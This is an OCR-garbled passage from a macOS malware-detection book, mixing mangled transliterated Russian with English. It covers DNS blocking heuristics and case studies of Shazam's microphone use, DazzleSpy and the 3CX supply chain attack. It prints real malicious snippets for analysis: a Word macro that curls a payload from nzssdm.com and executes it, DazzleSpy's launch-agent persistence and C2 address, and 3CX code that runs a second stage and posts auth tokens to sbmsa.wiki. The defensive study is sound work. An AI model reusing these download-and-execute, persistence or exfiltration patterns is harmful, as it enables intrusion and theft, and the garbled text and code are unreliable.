response code, yCTaHOBIEHHbLIM B Tak Ha3biBaeMbli name error unu, npowe, NXDOMAIN. Takon
response ckasan 6bl requestor, 4To domain was not found, meaning resolution failed. DNSMonitor
ucnonb3yeT aTOT approach npu BeInonHeHUn ¢ command line option -nx.

YUTto6bl generate Takon response, MoxHO B3saTb DNS request unu response packet n modify flags in its
header cnocobom, nokasaHHbIM B IMCTUHre 13-17.

dns_header_t* header = (dns_header_t *)packet.bytes;

header->flags |= htons(0x8000);

header->flags &= ~htons(OxF);
header->flags |= htons(@x3);

Jinctunr 13-17: Crafting NXDOMAIN response

Kog oxnpgaeT DNS packet in a mutable data object. CHauana oH typecasts bytes packet k pointer
dns_header_t. 3atem oH sets QR bit nona flags in header, 4to6hl indicate, uto packet is a response.
Mocne atoro oH clears RCODE (response code) bits, npexae yem setting just NXDOMAIN response code.
MoapobHee o DNS header n atux fields moxxHo npountaTth B RFC 1035, koTopbii defines technical
specifications of DNS. [6]
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Classifying Endpoints

BmecTto ncnone3soBaHusa hardcoded block list tool mor 661 determine whether to block DNS requests or
responses heuristically, Hanpumep examining historical DNS records, WHOIS data n nio6ble SSL/TLS
certificates. ["] PaccmoTpum kaxaytro us atux techniques closer, ncnonesysa 3CX supply chain attack kak
example. Domain 3cx. cloud, ncnone3oBaHHbIn B attack, asnsetcs legitimate part of 3CX infrastructure,
Ho attacker-controlled domain msstorageboxes.com, used by malicious code introduced into the
application, raises some red flags:

Historical DNS records. Bo Bpems 3CX supply chain attack B mapte 2023 roga gnst domain
msstorageboxes. com cywectsoBana Tonbko ogHa DNS record, 1 oH 6bin registered just a few months
prior. Trusted domains o6bI4uHO MMetoT longer history 1 many DNS records. C gpyron ctopoHbl, hackers
often register domains for their command-and-control servers just before their attacks and tear them down
shortly thereafter. KoHeuHo, hackers sometimes leverage previously legitimate domains, koTopble OHU
nn6o bought through standard domain procurement processes, nn6o obtained when domain registration
lapsed. Again, this activity will be reflected in the domain's historical DNS records.

Redacted WHOIS data. Attackers redacted WHOIS data anst domain msstorageboxes. com no privacy
reasons. HeobbluHO, uTObHLI large, well-established company ckpeiBana csoto identity. Hanpumep,
legitimate domain 3cx. cloud clearly shows, 4to oH registered to 3CX Software DMCC.

Domain name registrar. Attackers registered domain msstorageboxes.com yepe3 NameCheap.
Well-established companies often choose more enterprise-focused domain registrars, such as CloudFlare.

3aknro4yeHue

DNS monitor, cnoco6Hein tracking all requests and responses, - powerful tool for malware detection. B
atou rmase 4 build on Chapter 7, 4Tobbl onucaTb, Kak MOXHO implement Takon monitor atop framework
Apple NetworkExtension. A nokasan, kak add capabilities to the tool, such as cache and blocking
capabilities, to extend its functionality.

B final chapter kHuru mbli pit tools, Takme kak atot DNS monitor, against real-life Mac malware. Yutante
panblue, Ytobbl yBuaeTb, how each side fares!
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naBa 14. lNpakTn4yeckne nccrnepnoBaHusA

B aTon dhnHanbHOM rna.e A Nokaxy Heckornbko case studies, ranging from good apps misbehaving to
sophisticated nation-state attacks. B kaxxgom cnyyae s npogemoHcTpupyto exactly how heuristic-based
detection approaches, discussed throughout this book, succeed at uncovering the threat, even without
prior knowledge of it.

Shazam's Mic Access

MpumepHo Yepes rog nocne Bbinycka OverSight, webcam and mic monitor, nogpo6Ho onucaHHOro B
rnaee 12, s nonyunn email ot user no nmenun Phil, koTopbin Hanncan cniegytowee: "Thanks to OverSight, |
was able to figure out why my mic was always spying on me. Just to let you know, the Shazam widget
keeps the microphone active even when you specifically switch the toggle to OFF in their app."

Shazam, app, ctaswwuin nonynsapHeiM B cepeanHe 2010-x, ngeHtudumumpyet name and artist necHu Bo
Bpems ee BocnpousegeHus. Ytobel nogreepantb bold claim Phil (1 uckntounte bugs B OverSight), s1
peLnn nccnegoBaTh issue. A yctaHoBun Shazam Ha cBor Mac, 3atem toggled it on, instructing it to listen.
HeyausutensHo, 4to 310 generated OverSight event, indicating that Shazam had activated the computer's
built-in microphone.

3arem g toggled Shazam off. BMmecTo oToGpaxeHuns oxngaemoro deactivation alert OverSight He nokasan
Hunyero. Ytobbl onpegenutsb, AencteutensHo nu Shazam still listening, s reverse engineered app.
Examining Shazam's binary code revealed core class ¢ nMmeHem SHKAudioRecorder 1 seemingly relevant
methods isRecording n stopRecording. B cneaytowem debugger output BugHo, 4to a9 encountered
instance aToro class no memory address 0x100729040. Mbl MoxewM introspect aToT object
SHKAudioRecorder un gaxe Hanpsamyto invoke its methods nnum inspect its properties, 4tobbl yBuaeTs,
nencrteutenbHo nu Shazam still recording:

(11db) po [0x100729040 className]

SHKAudioRecorder

(11db) p (BOOL)[©x100729040 isRecording]
(BOOL) $19 = YES

Continued analysis revealed, 4yto gns stop recording metoq stopRecording Bri3biBan Apple Core Audio
function AudioOutputUnitStop. So far, so good. OgHako ganbHenwee investigation seemed to show,
yto Shazam never actually called this method, korga users toggled off recording. 3to strongly implied, 4yto
Shazam kept the mic active and listening! Indeed, kak noka3zaHo B debugger output, querying property
isRecording after toggling Shazam off shows it still set to YES, Objective-C value for true.

Apparently, koroa marketing materials Shazam claimed app would "lend its ears to your Mac," they weren't
kidding! A cBAsancs ¢ company, KoTopasi ckasana MHe, 4To aTo undocumented behavior 6bino part of
app's design n actually benefited the user:

Thanks for getting in touch and bringing this to our attention.

The i0S and Mac apps use a shared SDK, hence the continued

recording you are seeing on Mac. We use this continued record-

ing on i0S for performance, allowing us to deliver faster song
matches to users.

Xota Shazam initially ignored mou concerns, oHa changed its mind, kak Tonbko media got involved,
running pieces c¢ headlines Bpoge "Shazam is always listening to everything you're doing" 1 "Shhh!
Shazam is always listening - even when it's been switched 'off." 2lg response Shazam pushed out
update, koTopsbiti turned off microphone, korga app toggled off. [3] (Apparently, though, there really is no
such thing as bad publicity; the following year, Apple acquired Shazam for $400 million.)

248



A designed OverSight to detect malware with mic and webcam spying capabilities, such as FruitFly, Crisis,
and Mokes, but its malware-agnostic, heuristic-based approach has proven extremely versatile, capable
also of identifying a major privacy issue.

Hanee paccmoTtpum 6onee conventional example of malware detection.

DazzleSpy Detection

DazzleSpy, malicious specimen, mentioned throughout the book, makes for a great case study, nockonbky
370 He average, run-of-the-mill malware. 3T1oT sophisticated, persistent backdoor ncnonessosan zero-day
exploits to infect individuals supporting pro-democracy causes in Hong Kong. 41 Intrigued by the malware,
51 BbINOMAHMI own analysis of it 1 1 satem considered how security tools could have defended against it
and other sophisticated macOS threats.

Exploit Detection

Tools and techniques, presented in this book, predominantly focused on detecting malware once it has
found its way onto a macOS system. OagHako aTu approaches can often detect the malware's initial
exploitation vector as well. Hanpumep, process monitor, building process hierarchies, moxeT detect
exploited browser or word processor spawning a malicious child process. 31oT heuristic-based approach
to exploit detection especially important, nockonbky advanced threat actors increasingly deploy their
malware via exploits.

Mpexae yem cocpenoTounThes Ha exploits DazzleSpy, paccmoTpum attack, leveraged malicious
document. Attributed to North Korean nation-state hackers, ! Word file contained macro code capable of
exploiting a macOS system to persistently install a backdoor. BoT snippet malicious code:

sur = "https://nzssdm.com/assets/mt.dat"

spath = "/tmp/"

i=o

Do

spath = spath & Chr(Int(Rnd * 26) + 97)

i=1i+1

Loop Until i > 12

system(“curl -o " & spath & " " & sur)

system("chmod +x " & spath)

popen(spath, "r")
BuaHo, yto malicious macro downloads remote binary, mt.dat, yepes curl, sets it to be executable,
3ateM spawns it using APl popen. Nockonbky malicious macro executes in the context of Word, process
monitor nokaxeT curl, chmod u mt.dat as children of Word. 310, koHe4uHo, highly anomalous u indicative

of an attack.

B cny4yae DazzleSpy exploit chain far more complex, Ho oHa Bce paBHo offers several chances for
detection. Kak 4actb chain, in-memory Mach-O executable code downloads backdoor DazzleSpy B
directory $TMPDIR/airportpaird. NMNocne making the backdoor executable, oH uses privilege escalation
exploit to remove extended attribute com.apple.quarantine. 310 action ensures, 4To operating system
allow binary to execute without prompts or alerts, even though it isn't notarized.

Mockonbky malicious website hosting exploit chain long gone, TpyaHo test our detections directly, unless
we set up our own server hosting the same exploits. Still, security tool leveraging Endpoint Security events
should be able to readily observe and even thwart many actions taken by the exploit that deployed
DazzleSpy. Hanpumep, kak nokasana rnaea 9, event type ES_EVENT_TYPE_AUTH_EXEC provides
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mechanism to authenticate process executions, perhaps blocking any that aren't notarized, especially if
parent is browser.

Opyrne Endpoint Security events, related to deletion of extended attributes, could catch or even block any
process attempting to delete com.apple.quarantine. Example code B nuctuxre 14-1 monitors one of
these events, ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR, 4ytobbl detect any removal of any extended
attribute.

es_client_t* client = NULL;

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {

if(ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR == message->event_type) {

es_string_token_t* procPath = &message->process->executable->path;

es_string_token_t* filePath = &message->event.deleteextattr.target->path;

const es_string_token_t* extAttr = &message->event.deleteextattr.extattr;

printf("ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR\n");

printf("xattr: %.*s\n", (int)extAttr->length, extAttr->data);

printf("target file path: %.*s\n", (int)filePath->length, filePath->data);

printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);

}

}s

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));
Jluctunr 14-1: O6HapyxeHue yganeHus quarantine attribute

CHauana mbl ykasbiBaem event of interest, ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR, koTopblii notify us
of removal of any extended attributes. (MoxHo Takxke ncnonssosatb authorization event
ES_EVENT_TYPE_AUTH_DELETEEXTATTR, 4T0o06bl block removal altogether.) 370 notification event trigger
callback block, rae mbl extract responsible process, its filepath, and any extended attributes that code
deleted. Mbl MOxxem extract this information n3 structure ¢ nmenem deleteextattr, found in Endpoint
Security event. 31a structure, type es_event_deleteextattr_t, defined in ESMessage.h n umeet
cnegyowme members:

typedef struct {

es_file_t* _Nonnull target;

es_string_token_t extattr;

uint8_t reserved[64];
} es_event_deleteextattr_t

Mpn downloaded, whether through browser exploit chain or manually, binary DazzleSpy airportpaird
Oynet umethb set extended attribute com.apple.quarantine. 310 MoxHO nogTBEPAUTE command xattr,
executed with command line flag - 1:

% xattr -1 airportpaird
com.apple.quarantine: 0083;659e4224;Safari;D6E57863-A216-4B5B-ADE8-2ECB300OE2075

YT06b1 manually mimic exploit, delete atort attribute, running xattr with flag -d:

% xattr -d com.apple.quarantine airportpaird

Ecnun monitoring code, written in Listing 14-1, running, bl nony4yute following alert:

# XattrMonitor.app/Contents/MacOS/XattrMonitor
ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR

xattr: com.apple.quarantine

target file path: /var/folders/12/fsx@dkdx3jqéw71lcqsht2p240000gn/T/airportpaird
responsible process: /usr/bin/xattr

MHorue other malware samples remove extended attribute com.apple.quarantine, Bkntodas CoinTicker,
OceanLotus n XCSSET. [l Crour oTmMeTuTb, however, yTo legitimate applications, such as installers, may
also remove this attribute, noaTomy He cnegyer treat single observation as sole reason for classifying item
as malicious.
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Persistence

DazzleSpy takke nerko detect, taking behavior-based approach focusing on malware's persistence and
network access. HauHem c detecting its persistence, ogHoro ns nyywmnx ways to detect malware.
Cnepytowasn decompilation shows DazzleSpy's installDaemon method installing and persisting it as
launch agent:

+(void)installDaemon {

rax = NSHomeDirectory();

var_30 = [[NSString stringWithFormat:@"%@/.local”, rax] retain];

var_38 = [[NSString stringWithFormat:@"%@/softwareupdate", var_30] retain];
rax = [[NSBundle mainBundle] executablePath];

var_58 = [NSURL fileURLWithPath:rax];

var_60 = [NSData dataWithContentsOfURL:var_58];

[var_60 writeToFile:var_38 atomically:0x1];

var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax];
var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"];
var_90 = [[NSMutableDictionary alloc] init];

var_98 = [[NSMutableArray alloc] init];

[var_98 addObject:var_38];

[var_98 addObject:@"1"];

rax = @(YES);

[var_90 setObject:rax forKey:@"RunAtLoad"];

[var_90 setObject:rax forKey:@"KeepAlive"];

[var_90 setObject:@"com.apple.softwareupdate” forKey:@"Label"];

[var_90 setObject:var_98 forKey:@"ProgramArguments"];

[var_90 writeToFile:var_80 atomically:0x0];

BugHo, uto malware first makes a copy of itself to ~/ . local/softwareupdate, 3atem persists this copy
by using launch agent property list com.apple.softwareupdate.plist.

File monitor, subscribed to file /O Endpoint Security events such as ES_EVENT_TYPE_NOTIFY_CREATE,
can easily observe this behavior and detect DazzleSpy when it persists. Hanpumep, BoT output of the file
monitor, discussed in Chapter 8:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty

"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",

"file" : {

"destination" : "/Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist”,
"process" : {

"pid" : 1469,

"name" : airportpaird,

"path" : "/var/folders/12/fsx0dkdx3jqéw71cqsht2p240000gn/T/airportpaird"”

}

¥

¥

Mocne Toro kak DazzleSpy has persisted, mbl Takke moxem view contents of its launch agent property list
com.apple.softwareupdate.plist:

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>

<key>KeepAlive</key>

<true/>

<key>Label</key>
<string>com.apple.softwareupdate</string>
<key>ProgramArguments</key>

<array>
<string>/Users/User/.local/softwareupdate</string>
<string>1</string>

</array>
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<key>RunAtLoad</key>
<true/>
<key>SuccessfulExit</key>
<true/>

</dict>

</plist>

Key ProgramArguments confirms path to persistence location of malicious binary, which we saw in
decompilation. Also, BugHo, 4to key RunAtLoad set to true, meaning that each time user logs in (at which
point operating system examines launch agents), macOS automatically restart malware.

BlockBlock could easily detect this persistence via Endpoint Security file events or newer event
ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD. Also, because traditional antivirus products have
improved their detections, VirusTotal integrations KnockKnock now highlight DazzleSpy as malicious, but
even if antivirus signatures failed to flag DazzleSpy as malware (as they did when malware initially
deployed), KnockKnock could detect DazzleSpy's persistent launch agent, as its Background Task
Management plug-in reveals all installed launch items.

Furthermore, notice prefix com.apple in property list, which suggests that binary is an Apple updater.
Apple hasn't signed the item, however; in fact, binary wholly unsigned. (KnockKnock indicates this by
showing question mark next to item name.) Taking all this information into consideration, we can conclude
that item likely malicious and requires thorough investigation.

Network Access

Unauthorized network access - yet another great way to detect malware, and DazzleSpy is no exception.
UTto6hlI receive tasking, DazzleSpy connects to attacker's command-and-control server at
88.218.192.128. Cneaytowmin snippet decompilation nokasbiBaeT, 4To 3TOT address hardcoded into
malware BmecTe ¢ port 5633:

int main(int argc, const char* argv[]) {
var_18 = [[NSString alloc] initWithUTF8String:"88.218.192.128:5633"];

Network monitor like LuLu, using techniques mentioned in Chapter 7, could easily detect this network
access. B ceBoewm alert LuLu would capture unauthorized program softwareupdate attempt to connect to
remote server listening on nonstandard port. OH Takke show, 4to program isn't signed with trusted
certificate or notarized and that it runs from hidden directory. Put together, these red flags certainly warrant
closer inspection.

The 3CX Supply Chain Attack

This last case study pits our tools and techniques against what are widely considered to be some of the
most challenging attacks to detect: supply chain attacks. 3tu damaging cybersecurity incidents can infect
massive number of unsuspecting users by compromising trusted software. Although most supply chain
attacks impact Windows-based computers, there has been noticeable uptick of such attacks against open
source community 8] and macOs. 3pecb Mbl cocpegoToummcs Ha 2023 nation-state attack, discussed
several times in the book, koTopbin targeted popular private branch exchange (PBX) software provider
3CX.
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Believed to be the first chained supply chain attack (in which attackers gained initial access to 3CX
through a separate supply chain attack), attackers subverted both Windows and Mac versions of 3CX's
application. Attackers then signed trojanized application with 3CX's own developer certificate and
submitted it to Apple, which inadvertently notarized it. Finally, macOS enterprise users downloaded the
subverted application en masse, without suspecting that anything was amiss.

Supply chain attacks incredibly difficult to detect. Legitimate macOS 3CX application contained more than
400MB of code spread across more than 100 files, so identifying malicious component to confirm its
subversion was like searching for needle in a haystack. Nogpo6Hee 06 aTom search MOXHO NpoyMTaTh B
moem write-up, where | both confirmed subversion of macOS app and pinpointed single library within the
app that hosted attacker's malicious code. ol

Understandably, even large cybersecurity companies struggle with such detections: SentinelOne initially
noted that it couldn't confirm whether macOS version of 3CX app was impacted by attack. (10] Also,
Apple's scans missed subversion of infected installer, resulting in inadvertent granting of notarization
ticket.

Still, quite possible to detect supply chain attacks by observing anomalous or unusual behaviors.
CrowdStrike, first organization to confirm 3CX attack on Windows, "1 used this behavior-based approach.
(12] PaccmoTtpum detection methods, koTopble could uncover this and other supply chain attacks. When
taken together, various anomalies paint very clear picture that something is amiss.

File Monitoring

Malicious code, added to legitimate library 1ibffmpeg.dylib of 3CX app, had two simple goals: gather
information about infected host, then download and execute second-stage payload. As part of first activity,
malware also generated identifier to uniquely identify infected host and wrote it to hidden, encrypted file,
.main_storage. 31 gor snippet decompilation from a function in subverted library 1ibffmpeg.dylib,
KoTopbii opens file, encrypts information, then writes it to disk:

rax = fopen(file, "wb");

if (rax != ox0) {

rbx = rax;

rax = 0x0;

do {

*(rl4 + rax) = *(rl4 + rax) ~ ox7a;
rax = rax + ox1;

} while (rax != 0x38);
fwrite(rl4, ox38, 0x1, rbx);
fflush(rbx);

fclose(rbx);

¥

B decompilation BugHo, 4uto file opened ¢ API fopen. Filename hardcoded in malware, Ho He noka3aH B
decompilation, nockonbky code dynamically creates full path, a 3atem passes it into function. Nocne
oTkpbITUSA file malware XOR encrypts buffer, pointed to by register r14, using hardcoded key 0x7a. 3atem
oHo writes encrypted buffer to file with APl fwrite.
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Wcnonbays file monitor, moxHO observe malware opening and writing to this hidden file:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter "3CX Desktop App"

{

"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",

"file" : {

"destination” :

"/Users/User/Library/Application Support/3CX Desktop App/.main_storage",
"process" : {

"pid" : 40029,

"name" : "3CX Desktop App",

"path" : "\/Applications/3CX Desktop App\/Contents\/Mac0S\/3CX Desktop App"
}

}

}

{

"event" : "ES_EVENT_TYPE_NOTIFY_WRITE",

"file" : {

"destination” :

"/Users/User/Library/Application Support/3CX Desktop App/.main_storage",
"process" : {

"pid" : 40029,

"name" : "3CX Desktop App",

"path" : "\/Applications/3CX Desktop App\/Contents\/Mac0S\/3CX Desktop App"
}

}

}

Ecnun Bpy4yHyto examine .main_storage ¢ macOS utility hexdump, MOXHO yBMaeTb, UTO OH clearly appears
obfuscated or encrypted:

# hexdump -C ~/Library/Application\ Support/3CX\ Desktop\ App/.main_storage

00000000 1c 19 le 4f 1f 43 4e 1b 57 1b 1b 4c 43 57 49 43 |...0.CN.W..LCWIC|

00000010 49 1c 57 4f 49 1f 4e 57 4f 1f 4b 4a 4f 4d 1b 4c |I.WOI.NWO.KJOM.L|

00000020 4b 4c 1c 4b 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a |KL.Kzzzzzzzzzzz7|
00000030 05 Oc ee le 7a 7a 7a 7a

Flagging creation of hidden files, especially those containing encrypted content, quickly 3ameTuno 6bl, 4To
3CX application acting very strangely. OanH cnocob detect that file is encrypted - compute file entropy.
O710T process computationally intensive, noatomy Mbl He xoTenu 6bl genatb 3710 Ang every file, HO
checking hidden files might be a good start!

Network Monitoring

Mocne Toro kak malware generated ID for victim and completed basic survey of infected system, oHo
sends this information to its command-and-control server. Resulting network traffic naet ewe ogHy
heuristic, with which to detect that something is amiss. OgHako 3CX application accesses network to
accomplish legitimate functionality, so to detect its subversion, Ham Hy>xHO observe it communicating with
new, malicious endpoints.
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Ha camom pene nmeHHo Tak users noticed supply chain attack in the first place. MNepsble reports of odd
behavior nosiBunuce Ha 3CX forums, rae customers posted about unusual network traffic emanating from
the application. Hanpumep, ogmH customer noticed connection to DNS host msstorageboxes. com,
unrecognized domain that had just been registered in Reykjavik. (4 Tool DNSMonitor, described in
Chapter 13, lets us observe this DNS traffic:

% /Applications/DNSMonitor.app/Contents/Mac0OS/DNSMonitor
{

"Process" : {

"pid" : 40029,

"name" : "3CX Desktop App",

"path" : "\/Applications/3CX Desktop App\/Contents\/Mac0S\/3CX Desktop App"
}J

"Packet" : {

"Opcode™ : "Standard",

"QR" : "Query",

"Questions" : [

{

"Question Name" : "1648.3cx.cloud",
"Question Class" : "IN",
"Question Type" : "AAAA"

}
1,

}

{

"Process" : {

"pid" : 40029,

"name" : "3CX Desktop App",

"path" : "\/Applications/3CX Desktop App\/Contents\/Mac0S\/3CX Desktop App"

¥
"Packet" : {

"QR" : "Query",
"Questions" : [

{

"Question Name" : "msstorageboxes.com",
"Question Class" : "IN",

}

]
OTn aBa requests nbiTatoTcs resolve domains 1648.3cx.cloud n msstorageboxes. com. Kak MOXHO
classify these endpoints as legitimate or anomalous? Kak o6cyxganocb B npeabigyLuen rnase, general
approaches include examining historical DNS records, WHOIS data n any SSL/TLS certificates. 51 31y
data points look normal for domain 3cx.cloud (koTopbiti is part of 3CX infrastructure), Ho domain
msstorageboxes.com raises some serious red flags.

Process Monitoring

Mocne Toro kak malicious code in 1ibffmpeg.dylib resolved address of command-and-control server, oH
checks in with server by submitting generated UUID and basic survey data, collected from infected host.
3atem oH downloads and executes second-stage payload, which provides even more opportunities to
heuristically detect this stealthy attack. Cnegytowun snippet decompiled code from 1ibffmpeg.dylib
nokasblBaeT malware writing out second-stage payload and then executing it:
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sprintf(&var_21F8, "%s/UpdateAgent", &var_1DF8);
rl3 = &var_21F8;

rax = fopen(ri3, "wb");

if (rax != 0x0) {

fwrite(var_23F8 + Ox4, var_23F8 - 0x4, ox1, file);

chmod(ri13, 7550);
sprintf(rl2, rbp, ri13);
rax = popen(ril2, "r");

Malware builds full path for payload within 3CX desktop app's Application Support directory. BugHo, uyto
name of payload hardcoded as UpdateAgent. 3atem oHo opens file in write binary mode un writes bytes of
payload, received from attackers' command-and-control server. Nocne changing permissions to
executable malware invokes API sprintf, 4Tobbl create buffer with path to saved UpdateAgent binary
stored in register r13 and suffix >/dev/null 2>&1. 370T suffix, not shown in decompilation, redirect any
output or errors from payload to /dev/null. Finally, malware executes payload.

By the time researchers discovered supply chain attack, attackers' command-and-control servers were
offline, so we can't observe attack in real time. However, we could emulate it by configuring host to resolve
msstorageboxes.com to a server we control, then serve sample of second-stage payload from infected
victim. This setup would allow us to understand what information our monitoring tools could capture about
this surreptitious infection.

Hanpumep, process monitoring code from Chapter 8 captured 6bl cneaytolee:

# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty

{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

"process" : {

"pid" : 51115,

"name" : "UpdateAgent",

"path" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent",
"signing info (computed)" : {

"signatureStatus" : 0,

"signatureSigner" : "AdHoc",

"signatureID" : "payload2-55554944839216049d683075bc3f5a8628778bb8"

}J
"ppid" : 40029,

}

}
HanomHto, 4to API popen executed second-stage payload in shell. Even so, its parent ID (B aTom instance,
40029) will still identify 3CX desktop app instance. ®akr, 4to 3CX desktop app spawning additional
processes, slightly suspicious; cakt, 4To process binary, UpdateAgent, signed in ad hoc manner, rather
than with trusted certificate, is a huge red flag:

% codesign -dvvv UpdateAgent

Executable=/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent

Identifier=payload2-55554944839216049d683075bc3f5a8628778bb8
CodeDirectory v=20100 size=450 flags=0x2(adhoc) hashes=6 + 5 location=embedded

Kak n B cnyvae DazzleSpy, initial payloads often signed with developer certificate as well as notarized,
allowing them to run with ease on recent versions of macOS. OgHako secondary payloads often aren't.
Nor do they need to be, if they're downloaded and executed by malicious code running on operating
system. However, most legitimate software signed, so you should closely examine any non-notarized
third-party software, or even block it altogether.

Currently, BlockBlock blocks only non-notarized software that macOS has quarantined. OgHako MOXHO
modify tool, utobbl allow only notarized third-party software to execute. [1ns aToro MoxHo register
Endpoint Security client u subscribe to ES_EVENT_TYPE_AUTH_EXEC events. Ecnn new process validly
signed and notarized, moxHo return ES_AUTH_RESULT_ALLOW, 4Tobbl allow it to execute. Otherwise,
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MOXHO return value ES_AUTH_RESULT_DENY, blocking process. Keep in mind, however, that core platform
binaries aren't notarized.

BlockBlock always allows platform binaries, koTopble MmoxHo identify using member is_platform_binary
of Endpoint Security structure es_process_t. Also, applications from official Mac App Store aren't
notarized, although Apple scans them for malware. Yto6el determine whether application came from Mac
App Store, ncnonbsywnte following requirement string: anchor apple generic and certificate leaf
[subject.CN] = "Apple Mac 0OS Application Signing".

Capturing Self-Deletion

Binary UpdateAgent performs other suspicious actions we could detect. For example, it self-deletes. After
forking, child instance invokes API unlink with value argv[@], which holds path of process's binary:

int main(int argc, const char* argv[]) {
if(fork() == 0) {
unlink(argv([@]);

Malware rather fond of self-deletion, as removing binary from disk can often thwart analysis. Even for
security tools, macOS doesn't provide effective way to capture memory images of running processes. In
fact, at least one security company whose product tracked process launches failed to obtain UpdateAgent
binary, which self-deleted by the time analyst tried manually to collect it. Similarly, traditional
signature-based antivirus scanners require on-disk file to scan and will fail if they don't find one. Luckily

anonymous user was kind enough to share binary with me, leading to its detailed analysis in my write-up.
[16]

For heuristic-based detection approaches, however, self-deleted binaries are both easy to detect and a big
red flag. Detecting self-deleted binaries easy to do with file monitor: just look for deletion event in which
process path matches path of file being deleted, as in following output:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UpdateAgent

{

"event" : "ES_EVENT_TYPE_NOTIFY_UNLINK",

"file" : {

"destination" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent”,
"process" : {

"pid" : 51115,

"name" : "UpdateAgent",

"path" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent”
}

}

}

3ameTbTe, UTOo two paths to UpdateAgent binary match.
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Detecting Exfiltration

After self-deleting, UpdateAgent extracts information from both legitimate 3CX configuration file and
.main_storage file, created by first-stage component, 1ibffmpeg.dylib. B cBoen function send_post
malware then transmits this information to another command-and-control server, sbmsa.wiki:

parse_json_config(...);

read_config(...);

enc_text(&var_460, &var_860, rdx);

sprintf(&var_1060, "3cx_auth_id=%s;3cx_auth_token_content=

%s;__tutma=true", &var_58, &var_860);
send_post("https://sbmsa.wiki/blog/_insert", &var_1060, &var_1064);

This transmission is arguably easiest action of entire supply chain attack to detect and, more importantly,
classify as anomalous, for many reasons already discussed. First, network extension (such as
DNSMonitor) can easily detect new network event and tie it back to responsible process. In this case,
responsible process, UpdateAgent, was recently installed, signed in ad hoc manner, and non-notarized.
Moreover, process self-deleted. Finally, domain sbmsa.wiki appears suspicious due to characteristics
such as lack of historical DNS records, choice of registrar, and more.

Alert from LuLu shown in Figure 14-1, triggered by malware attempting to connect to attacker's remote
server, captures many of these anomalies. For instance, strikethrough process names indicate
self-deletion, while perplexed frowning face signifies that malware has untrusted signature.

LulLu Alert

etk

is connecting to sbmsa.wiki

PucyHok 14-1: Alert LuLu noka3sbiBaeT self-deleted binary ¢ untrusted signature, neitatowuinca nonyuntb
poctyn Kk network.

Supply chain attacks are notorious for being very challenging to detect and having extensive impact.
Nevertheless, as demonstrated here, monitoring tools that leverage heuristics can identify anomalous
behaviors associated with these complex attacks, leading to their detection.
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3aknro4yeHue

Whenever we make bold claims about our tools' detection capabilities, especially regarding
yet-to-be-discovered threats, we must back them up. B atoin nocneaHei rmase mbl pitted tools and
detection approaches, presented throughout the book, against latest and most insidious threats targeting
macOS systems. XoTsa y Hac He 6bino prior knowledge of these threats, our heuristic-based detections
performed admirably. 31o confirms the power of behavior-based heuristics in identifying both existing and
emerging threats, as we've demonstrated in this final section and throughout the book. More importantly,
Tenepb y Bac ectb knowledge and skills to write your own tools and heuristics, empowering you to defend
against even the most sophisticated macOS threats of the future.
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